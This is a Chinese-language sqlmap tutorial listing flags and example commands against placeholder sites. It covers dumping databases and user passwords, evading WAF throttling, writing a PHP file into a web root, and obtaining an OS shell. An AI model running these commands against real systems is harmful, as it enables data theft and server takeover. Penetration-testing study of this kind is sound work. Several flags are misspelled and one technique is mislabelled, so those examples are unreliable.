SQLmap介紹
sqlmap是一個由python語言編寫的開源的滲透測試工具,它主要是檢測SQL注入漏洞,是一款功能強大的SQL漏洞檢測利用工具。
他可以檢測的數據庫有:access、msSQL、MySQL、oracle、postgresql、SQLserver、db2、sqlite等
可以進行SQL盲注、union查詢、顯錯注入、延遲注入、post注入、cookie注入等,寬字節注入
其他功能:執行命令、列舉用戶、檢測權限、自動破解、數據導出等功能,過waf
SQLmap安裝
需要python2.7的環境,在官網上下載下來直接解壓就可以用,也可以將解壓的文件放在python的安裝路徑下。
kali里面是直接集成好的,無需安裝,更新:sqlmap.py --update
在Windows里面建議直接在官網上下載最新版的,不建議用命令更新。
基本參數
sqlmap.py -h 查看幫助選項
--is-dba 當前用戶權限
--dbs 所有數據庫
--current-db 網站當前數據庫
--users 所有數據庫用戶
--current-user 當前數據庫用戶
--tables 參數:列表名
--columns 參數:列字段
--dump 參數:下載數據
--dump-all 轉存DBMS數據庫所有表項目
--level 測試等級(1-5),默認為1
讀取數據庫-----讀取表-----讀取表的列-----獲取內容
-D 指定數據庫
-T 指定表
-C 指定列
--dnms=mysql oracle mssql 指定數據庫
--users 枚舉所有用戶
--passwords 枚舉所有用戶密碼
--roles 列出數據庫管理員角色
--privileges 列出數據庫管理員權限
列出數據庫系統的架構
sqlmap.py -u "" --schema --batch --exclude-sysdbs
--schema:列出系統架構
--batch:無提示,一切默認
--exclude-sysdbs:排除默認的系統數據庫
探測等級
參數:--level
共有5個等級,默認為1,sqlmap的payload在xml/payloads.xml中,也可以自己根據相應的格式添加。
該參數不僅影響使用哪些payload,也會影響測試的注入點,GET和POST的數據都會測試
HTTP Cookie在等級為2的時候才會測試;
HTTP User-Agent/Referer頭在等級為3的時候才進行檢測
總之在不確定哪個payload或參數為注入點時,為保證全面性,建議使用高的level值,一般建議為3
顯示調試信息
-V 顯示調試信息,共有7個級別
0、 只顯示python錯誤以及嚴重的信息
1、 同意顯示基本信息和警告信息(默認)
2、 同時顯示debug信息
3、 同時顯示注入的payload
4、 同時顯示HTTP請求
5、 同時顯示HTTP響應頭
6、 同時顯示HTTP響應頁面
風險等級
參數:--risk
共有四個風險等級,默認是1,會測試大部分的測試語句,2會增加基於事件的測試語句,3會增加OR語句的SQL注入測試(邏輯判斷語句)
在有些時候,例如在UPDATE的語句中,注入一個OR的測試語句,有可能導致更新整個表,可能造成很大的風險
測試語句在xml/payloads.xml中,也可以自己添加
獲取目標
參數:-u或--url
格式:http(s)://targetur[:post]/[..]
e.g:sqlmap.py -u http://www.xx.com/news.php?id=1
從文本中獲取多個目標進行掃描
參數:-m
文件中保存url格式如下,sqlmap就會一個一個的逐行檢測
www.xx1.com/news1.php?q=foobar
www.xx2.com/news2.php?id=1
www/xx3.com/news3/id/1*
e.g:sqlmap.py -m c:\a.txt
獲取HTTP請求注入
參數:-r
sqlmap可以從一個文本文件中獲取HTTP請求,這樣就可以跳過設置一些其他參數。(如cookie、post數據等)多見於搜索型,登陸后的注入點
e.g:sqlmap.py -r c:\a.txt
處理Google搜索結果
參數:-g 需要掛代理
sqlmap可以檢測注入Google的搜索結果中的GET參數(只獲取前100個結果)
e.g:sqlmap.py -g "inurl:php?id="
--data
此參數是吧數據以POST方式提交,sqlmap會像檢測GET參數一樣檢測POST參數
e.g:sqlmap.py -u "" --data="id=1"
--param-del
當GET或POST的數據需要用其他字符分割測試參數的時候需要用到此參數(參數拆分字符)
e.g:sqlmap.py -u "" --data="query=foobar;d=1" --param-del=";" 分號連接多個參數的連接
e.g:index.php?id=1&sid=12&did=3 默認的sqlmap可識別
index.php?id=1;sid=12;did=3 sqlmap無法識別,會認為是一個參數
--cookie
適用於cookie注入
將參數加入cookie注入測試
e.g:sqlmap.py -u "" --cookie "id=9" --table --level 2
--referer
sqlmap可以在請求中偽造HTTP中的referer,當--level參數設定為3或者3以上的時候回嘗試對referer注入
--headers
可以通過--headers參數來增加額外的http頭
e.g:--headers "client-ip: 1.1.1.1'" --level 3
--proxy
使用該參數添加代理,格式為:http://url:port
e.g:--proxy "http://127.0.0.1:8080"
時間控制
--delay
可以設定兩個HTTP(s)請求間的延遲,設定為0.5的時候半秒,默認是沒有延遲(安全狗默認是1秒內不能訪問10次)
--timeout
可以設定一個HTTP(s)請求超過多數判定為超時,10.5表示10.5秒,默認是30秒
--retries
當HTTP(S)超時時,可以設定重新連接次數,默認是3次,設定隨機改變的參數值(設定重試超時)
--safe-url,--safe-freq
有的web應用程序會在你多次訪問錯誤的請求時屏蔽掉你以后的所有的請求,這樣在sqlmap進行檢測的時候或者注入的時候可能造成錯誤請求二觸發這個策略,導致以后的檢測無法進行。
繞過方法有兩個:
1、--safe-url:提供一個安全不錯誤的鏈接,每隔一段時間都會訪問一下
2、--safe-freq:提供一個安全不錯誤的鏈接,每次檢測請求后都會再訪問一下
-P
sqlmap默認測試所有的GET和POST參數,當--level的值丹玉等於2時也會檢測HTTP Cookie頭的值,當大於等於3時也會測試User-Agent和HTTP Referer頭的值,但是需要手動用 -P
參數設置想要測試的參數
e.g:-P "id,user-anget"
index.php?id&sid=2&did=3 有多個參數,但我們知道在sid處存在注入,那么我們就可以用-P指定 -P "sid=2"
--prefix,--suffix
有些環境中,需要再注入的payload的前面或后面加一些字符,來保證payload的正常執行。
e.g:代碼中是這樣調用數據庫的:
$query="SELECT * FROM users WHERE id=('" &_GET['id']"') LIMIT 0,1";
這時就需要--prefix和--suffix參數了:
sqlmap.py -u "http://xx.xx.com/sqlmap/mysql/get_str_brackets.php?id=1" -P id --prefix "')" --suffix "AND (' abc'='anc" 閉合查詢語句
這樣執行的SQL語句變為:
$query="SELECT * FROM users WHERE id=('1') <PAYLOAD> AND ('abc'='abc') LIMIT 0,1";
--technique
這個參數可以指定sqlmap使用的探測技術,默認情況下會測試所有的方式
支持的探測方式如下:
B:Boolean-based blind SQL injection (報錯注入)
E:Error-based SQL injection (報錯型注入)
U:UNION query SQL injection (可聯合查詢注入)
S:Stacked queries SQL injection (可多語句查詢注入)
T:Time-based blind SQL injection (基於時間延遲注入)
e.g:sqlmap.py -u "" --tech=UE
--union-cols
默認情況下sqlmap測試UNION查詢注入會測試1-10個字段數,當--level為5的時候回增加測試到50個字段數,設定--union-cols的值應該是一段整數,如:12-16是測試12-16個字段數
--union-char
默認情況下sqlmap針對UNION查詢的注入會使用NULL字符,但是有些清苦下會造成頁面返回失敗,而一個隨機整數是成功的,這是可以用--union-char只定UNION查詢的字符 --union-char "NULL"
--second-order
二階注入,有些時候注入點輸入的數據看返回結果的時候並不是當前的頁面,而是另一個頁面,這時候就需要你指定到哪個頁面獲取響應判斷真假。 --second-order后門跟一個判斷頁面的URL地址
--second-order "回顯的頁面URL"
--dump-all.--exclude-sysdbs
使用--dump=all參數獲取所有數據庫表的內容,可同時加上--exclude-sysdbs只獲取用戶數據庫的表,需要注意在Microsoft SQL Server中master數據庫沒有考慮成為一個系統數據庫,因為有的管理員會把他當初用戶數據庫一樣來使用它
--search,-C,-T,-D
可以在以下三種情況下使用:
-C后跟着用逗號分割的列名,將搜索指定的列名
-T后跟着用逗號分割的表名,將搜索指定的表名
-D后跟着用逗號分割的庫名,將搜索指定的庫名
--search -C "pwd" -D xycms
1、模糊匹配 xy_pwd
2、精准匹配 pwd
--udf-inject,--shared-lib
可以通過編譯MySQL注入自定義的函數(UDFs)或PostgreSQL在Windows中共享庫,DLL,或者Linux/Unix中共享對象,sqlmap將會問一些問題,上傳到服務器庫自定義函數,然后根據你的選擇執行他們,當注入完成后,sqlmap將會移除他們
在union聯合查詢時,若是root權限執行--os-shell命令時會讓指定腳本類型,指定網站根目錄,往里面上傳文件,一個用來文件上傳一個用來執行系統命令;
若error查詢時,是root權限執行--os-shell時就與union不同,就會用--udf(MySQL udf提權)。
-s,-t
參數:-s
sqlmap對每一個目標都會再output路徑下自動生成一個SQLite文件,如果用戶想指定讀取的文件路徑,就是用這個參數保存HTTP(S)日志
參數:-t
這個參數需要跟一個文本文件,sqlmap會把HTTP(S)請求與響應的日志保存在那里。
--batch
時用參數時,不需要用戶輸入,會讓sqlmap使用默認的形式一直運行下去
--charset
強制使用字符編碼,不使用sqlmap自動識別的(如HTTP頭中的Content-Type)字符編碼,強制指定字符編碼
e.g:--charset=GBK
--flush-session
如果不想用之前緩存的目標session文件,可以使用該參數情況之前的session,重新測試該目標
--hex
有時字符編碼的問題,可能導致數據丟失,可以使用hex函數來避免
e.g:sqlmap.py -u "" --banner -hex -v 3 --parse-errors
--output-dir
sqlmap默認把session文件跟結果文件存在output文件下,用此參數可自定義輸出路徑
e.g:--output-dir=/tmp
--parse-errors
從響應中獲取DBMS的錯誤信息,有時目標沒有關閉DBMS的報錯,當數據庫語句錯誤時,會輸出錯誤語句,參數可以會顯出錯誤信息
--smart
有時對目標非常多的URL進行測試,為節省時間,只對能夠快速判斷為注入的報錯點進行注入
e.g:sqlmap.py -u "" --batch -smart
--mobile
有時服務端只接收移動短的訪問,此時可以設定一個手機的User-Agent來模仿手機登錄
e.g:sqlmap.py -u "" --mobile
--identify-waf
sqlmap可以嘗試找出WAF/IPS/IDS保護,方便用戶做出繞過方式
--check-waf
WAF/IPS/IDS保護會影響sqlmap測試,可用該參數測試sqlmap將會使用一個不存在的參數來注入測試
e.g:sqlmap.py -u "" --identify-waf -v 3
注冊表操作
當數據庫為MySQL、postgresql或Microsoft SQL server,並且當前web應用支持堆查詢,當前連接數據庫的用戶也需要有權限操作注冊表
讀取注冊表值
參數:--reg-read
寫入注冊表值
參數:--reg-add
刪除注冊表
參數:--reg-del
注冊表輔助選項
參數:--reg-key --reg-value --reg-data --reg-type
需要配合之前的三個參數使用
e.g:sqlmap.py -u "http://192.168.1.1/sqlmap/pgsql/get_int.aspx?id=1" --reg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-vlaue=Test --reg-type=REG_SZ --reg-data=1
暴力破解表名
參數:--common-tables
當使用--tables無法獲取到數據庫的表時,可以使用此參數
通常情況下:
1、MySQL數據庫版本小於5.0,沒有information_schema表
2、數據庫是Microsoft access,系統表MSysObjects是不可讀的(默認)
3、當前用戶沒有權限讀取系統中保存數據結構的表的權限
包里破解的表在txt/common-tables-txt文件中,也可以自行添加
--common-tables -D testdb
union、error型的用不到 時間盲注、access數據庫、MySQL5.0以下的數據庫會用到
暴力破解列表
參數:--common-columns
在yxy/common-columns.txt中,也可以自行添加
--common-columns -T text -D testdb
POST登錄框注入
注入點:http://www.xx.com/Login.asp
注入方法:sqlmap.py -r search-test.txt -p tfUPass //search-test.txt請求包、tfUPass參數
sqlmap.py -u "" --forms
sqlmap.py -u "" --data "tfUName=1&tfUPass=1"
偽靜態注入
注入點:http://www.xx.com/index.php/Index/view/id/40.html
sqlmap.py -u "http://www.xx.com/index.php/Index/view/id=40*.html"
延遲注入
--time-sec=6 默認是5秒
base64編碼注入
sqlmap.py -u "" --temper base64encode.py --dbs
請求時間注入
參數:--time-sec
當時用繼續時間的盲注時,使用--time-sec參數胡設定演示時間,默認5秒
執行SQL語句
--sql-query="select @@version" 單條執行一條語句
--sql-shell slqmap.py -u "" --sql-shell 回車,然后可執行多條語句,但是只能執行查詢語句
sqlmap會自動檢查確定使用哪個SQL注入技術,如何插入檢測語句,如果是SELECT查詢語句,sqlmap將會輸出結果,如果是通過SQL注入執行其他語句,需要測試是否支持多語句執行SQL語句
select losd_file ('c:/inetpub/wwwroot/0881/index.asp');
select "123" into outfile 'c:/1.txt'; 不能執行這種語句
文件讀寫
從數據庫服務器中讀取文件
參數:--file-read
當數據庫為MySQL、postgresql或Microsoft SQL server,並且當前用戶有權限使用特定的函數,讀取的文件是文本也可以是二進制文件
sqlmap.py -u "http://www.xx.com/article.php?lang=cn&id=22" --file-read="c:\1.php"
文件上傳
參數:--file-write,file-dest
當數據庫為MySQL、postgresql或Microsoft SQL server,並且當前用戶有權限使用特定的函數,讀取的文件是文本也可以是二進制文件
sqlmap.py -u "http://www.xx.com/article.php?id=5" --file-write="c:\1.php" --file-dest "/ver/www/html/x.php"
命令執行
參數:--os-cmd,--os-shell
當數據庫為MySQL、postgresql或Microsoft SQL server,並且當前用戶有權限使用特定的函數;在MySQL、postgresql、sqlmap上傳一個二進制庫,包含用戶自定義的函數sys_exec()和sys_eval()
cmd 執行cmd命令(win)
shell 執行當前用戶命令
--os-shell
自動上傳腳本文件
返回shell
2019-05-07 15:52:12
